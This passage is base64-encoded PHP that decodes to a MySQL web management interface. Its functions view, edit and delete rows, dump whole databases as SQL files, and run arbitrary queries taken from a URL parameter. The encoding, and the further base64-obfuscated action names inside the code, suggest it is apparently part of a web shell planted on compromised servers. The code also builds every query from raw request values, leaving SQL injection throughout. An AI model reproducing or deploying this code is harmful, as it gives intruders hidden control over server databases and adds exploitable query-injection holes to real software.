PSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQ
X1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1
ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYg
JGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJ
CWVjaG8gIic+UHJldjwvYT5cbiI7Cgl9IGVsc2UKCQllY2hvICJQcmV2IjsKCWVjaG8gIiB8ICI7
CglpZiggJHBhZ2UgPCAoJHJvdy8kcm93cGVycGFnZSktMSApIHsKCQlpZigkYWN0aW9uID09ICJk
bWxsZDBSaGRHRT0iKQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJo
ZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIp
OwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9
JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigk
cGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9
IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJCWVjaG8gIic+TmV4dDwvYT5cbiI7Cgl9
IGVsc2UKCQllY2hvICJOZXh0IjsKCWVjaG8gIiB8ICI7CglpZiggJHJvdyA+ICRyb3dwZXJwYWdl
ICkgewoJCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9cGFnZT5cbiI7CgkJZWNo
byAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOwoJfQoJZWNobyAiPC9mb3JtPlxu
IjsKCWVjaG8gIjwvZm9udD5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7Cgln
bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEY7CgoJaWYo
ICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxoMT5BZGQgRGF0YTwvaDE+XG4iOwoJZWxzZSBpZigg
JGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGgxPkVkaXQgRGF0YTwvaDE+XG4iOwoJCSRwUmVz
dWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5hbWUsICR0YWJsZW5hbWUgKTsKCQkkbnVtID0g
bXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsKCgkJJGtleSA9ICIiOwoJCWZvciggJGkgPSAw
OyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl
c3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApCgkJCQlpZiggJGZp
ZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdM
T0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCQllbHNlCgkJCQkJJGtleSAuPSAkZmll
bGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOwoJCX0K
CQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoKCQlteXNxbF9zZWxl
Y3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJCSRwUmVzdWx0ID0gbXlzcWxfcXVlcnko
ICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiLCAkbXlz
cWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOwoJfQoK
CWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsK
CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOwoJaWYoICRj
bWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1
ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJZWNobyAi
PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRhX3N1Ym1pdD5cbiI7
CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7
CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFt
ZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPlxuIjsKCWVj
aG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOwoJZWNobyAiPHRoPlR5cGU8L3Ro
PlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+XG4iOwoJZWNobyAiPHRoPkRhdGE8L3RoPlxu
IjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs
ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3Mo
ICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwg
JHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJJGZpZWxk
ID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7CgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsi
RmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJJGxlbiA9IG15c3FsX2Zp
ZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJCWVjaG8gIjx0cj4iOwoJCWVjaG8gIjx0ZD4k
ZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPiI7CgkJ
ZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9u
PlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOwoJCWVj
aG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8b3B0aW9uPlNPVU5ERVhcbiI7CgkJZWNobyAi
PG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxvcHRpb24+Q1VSVElNRVxuIjsKCQllY2hvICI8
b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7CgkJ
ZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAiPG9wdGlvbj5QQVNTV09SRFxuIjsKCQllY2hv
ICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNobyAiPG9wdGlvbj5QRVJJT0RfRElGRlxuIjsK
CQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOwoJCWVj
aG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hvICI8b3B0aW9uPlJBTkRcbiI7CgkJZWNobyAi
PC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hh
cnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAiYWRkIiApIHsKCQkJJHR5cGUgPSBzdHJ0b2so
ICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUg
PT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiAp
CgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5
cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBt
dWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7CgkJCQkJZWNo
byAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8
L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVu
IDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3Ro
PSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4iOwoJCQkJZWxzZQoJCQkJCWVjaG8gIjx0ZD48
dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwv
dGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQkJJHR5
cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51
bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBl
ID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJ
ZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRu
YW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkg
KSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkKCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3Rl
ZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0
cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3Rk
PlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5w
dXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVl
PVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNlCgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBj
b2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+JHZhbHVlPC90ZXh0
YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90cj4iOwoJfQoJZWNobyAiPC90YWJsZT48cD5c
biI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVl
PSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJCWVjaG8gIjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1i
dXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8g
IjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAkY21kICkgewoJZ2xv
YmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9T
RUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcygg
JGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0
ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCWlmKCAkY21k
ID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMg
KCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0gIlJFUExBQ0UgSU5U
TyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvciggJGkgPSAwOyAkaSA8ICRudW0tMTsgJGkrKyAp
IHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsKCQkkZnVuYyA9ICRH
TE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07CgkJaWYoICRmdW5jICE9ICIiICkKCQkJ
JHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKSB7CgkJ
CSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdOwoJCQlpZiggJGZ1bmMgIT0gIiIg
KQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiLCI7CgkJ
fSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07CgkJ
CWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7CgkJCWVsc2UKCQkJCSRx
dWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl
c3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkkcXVlcnlTdHIgLj0gJEdMT0JB
TFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UKCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JB
TFNbJGZpZWxkLT5uYW1lXSAuICInKSI7CgoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciAsICRteXNx
bEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0K
CmZ1bmN0aW9uIGRlbGV0ZURhdGEoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAk
dGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkk
cFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7CgkkbnVt
ID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsKCgkka2V5ID0gIiI7Cglmb3IoICRpID0g
MDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl
c3VsdCwgJGkgKTsKCQlpZiggJGZpZWxkLT5wcmltYXJ5X2tleSA9PSAxICkKCQkJaWYoICRmaWVs
ZC0+bnVtZXJpYyA9PSAxICkKCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JB
TFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCWVsc2UKCQkJCSRrZXkgLj0gJGZpZWxkLT5u
YW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsKCX0KCSRrZXkg
PSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5KS00ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAk
ZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCSRxdWVyeVN0ciA9ICAiREVMRVRFIEZST00gJHRhYmxl
bmFtZSBXSEVSRSAka2V5IjsKCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSAp
OwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9u
IGZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZSkKewoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJu
YW1lOwoKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlf
aWQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgJHRhYmxlIiwkbXlzcWxIYW5kbGUp
OwoJJHRhYmxlZHVtcCA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0Mp
OwoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxl
ZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOwoKCWVjaG8gJHRhYmxlZHVtcDsKCgkvLyBn
ZXQgZGF0YQoJJHJvd3MgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNx
bEhhbmRsZSk7CgkkbnVtZmllbGRzPW15c3FsX251bV9maWVsZHMoJHJvd3MpOwoJd2hpbGUgKCRy
b3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkKCXsKCQkkdGFibGVkdW1w
ID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMoIjsKCgkJJGZpZWxkY291bnRlciA9IC0xOwoJ
CSRmaXJzdGZpZWxkID0gMTsKCQkvLyBnZXQgZWFjaCBmaWVsZCdzIGRhdGEKCQl3aGlsZSAoKysk
ZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykKCQl7CgkJCWlmICghJGZpcnN0ZmllbGQpCgkJCXsK
CQkJCSR0YWJsZWR1bXAgLj0gJywgJzsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSRmaXJzdGZpZWxk
ID0gMDsKCQkJfQoKCQkJaWYgKCFpc3NldCgkcm93WyIkZmllbGRjb3VudGVyIl0pKQoJCQl7CgkJ
CQkkdGFibGVkdW1wIC49ICdOVUxMJzsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSR0YWJsZWR1bXAg
Lj0gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyIkZmllbGRjb3VudGVyIl0pIC4gIici
OwoJCQl9CgkJfQoKCQkkdGFibGVkdW1wIC49ICIpO1xuIjsKCgkJZWNobyAkdGFibGVkdW1wOwoK
CX0KCUBteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7Cn0KCmZ1bmN0aW9uIGR1bXAoKSB7CglnbG9i
YWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOwoKCWlmKCAkYWN0
aW9uID09ICJkdW1wVGFibGUiICl7CgoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmls
ZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsKCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91
bmtub3duJyk7CgkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHRhYmxlbmFtZSk7CgkJZWNobyAiXG5c
blxuIjsKCQllY2hvICJcclxuXHJcblxyXG4jIyMgJHRhYmxlbmFtZSBUQUJMRSBEVU1QIENPTVBM
RVRFRCAjIyMiOwoJCWV4aXQ7CgoJfWVsc2V7CgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9u
OiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOwoJCWhlYWRlcignQ29udGVudC10eXBlOiB1bmtub3du
L3Vua25vd24nKTsKCgkJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsK
CQkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hPVyB0YWJsZXMiLCRteXNxbEhhbmRsZSk7CgkJ
d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpCgkJ
ewoJCQkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHJvd1swXSk7CgkJCQllY2hvICJcblxuXG4iOwoJ
CQkJZWNobyAiXHJcblxyXG5cclxuIyMjICRyb3dbMF0gVEFCTEUgRFVNUCBDT01QTEVURUQgIyMj
IjsKCQkJCWVjaG8gIlxuXG5cbiI7CgkJfQoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkZGJuYW1l
IERBVEFCQVNFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJZXhpdDsKCgl9Cgp9CgpmdW5jdGlvbiB1
dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRjb21tYW5kOwoJZWNobyAiPGgxPlV0aWxpdGll
czwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIiIHx8IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUg
KSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5cbiI7CgkJZWNobyAiU2hvd1xuIjsKCQllY2hv
ICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNv
bW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQ
SFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9h
PlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5k
PXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0PC9hPlxuIjsKCQllY2hvICI8L3VsPlxuIjsK
CQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSck
UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsK
CQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAi
Rmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJZWNobyAiLSBTdWNjZXNzIjsKCQkJZWxzZQoJ
CQkJZWNobyAiLSBGYWlsIjsKCQl9CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rp
b249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQg
PT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9
IGZhbHNlICkKCQkJCWVjaG8gIi0gU3VjY2VzcyI7CgkJCWVsc2UKCQkJCWVjaG8gIi0gRmFpbCI7
CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9
Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdlczwvYT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJm
bHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdl
cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICIt
IEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZj
b21tYW5kPWZsdXNoX3RhYmxlcyc+VGFibGVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZs
dXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBm
YWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJ
CX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZs
dXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1
cyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJ
CQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hv
ICI8L3VsPlxuIjsKCX0gZWxzZSB7CgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIg
IiwgJGNvbW1hbmQgKTsKCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlp
ZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7CgkJCWVjaG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJ
CSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1s
b2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOwoJCWVjaG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJs
ZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5c
biI7CgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxf
ZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUu
IjwvdGg+XG4iOwoJCX0KCQllY2hvICI8L3RyPlxuIjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dB
cnJheSA9IG15c3FsX2ZldGNoX3JvdyggJHBSZXN1bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBm
YWxzZSApIGJyZWFrOwoJCQllY2hvICI8dHI+XG4iOwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29s
OyAkaisrICkKCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0g
KS4iPC90ZD5cbiI7CgkJCWVjaG8gIjwvdHI+XG4iOwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsK
CX0KfQoKCgpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk
Ym5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJFVTRVJOQU1FOwoKCWVjaG8gIjxocj5cbiI7
CgllY2hvICJbJFVTRVJOQU1FXSAtIFxuIjsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0
aW9uPWJHbHpkRVJDY3c9PSc+RGF0YWJhc2UgTGlzdDwvYT4gfCBcbiI7CglpZiggJHRhYmxlbmFt
ZSAhPSAiIiApCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRi
bmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5UYWJsZSBMaXN0PC9hPiB8ICI7Cgll
Y2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJz5VdGlsczwvYT4gfFxuIjsKCWVj
aG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOwoKCn0K
CgoKCi8vLS0tLS0tLS0tLS0tLSBNQUlOIC0tLS0tLS0tLS0tLS0gLy8KZXJyb3JfcmVwb3J0aW5n
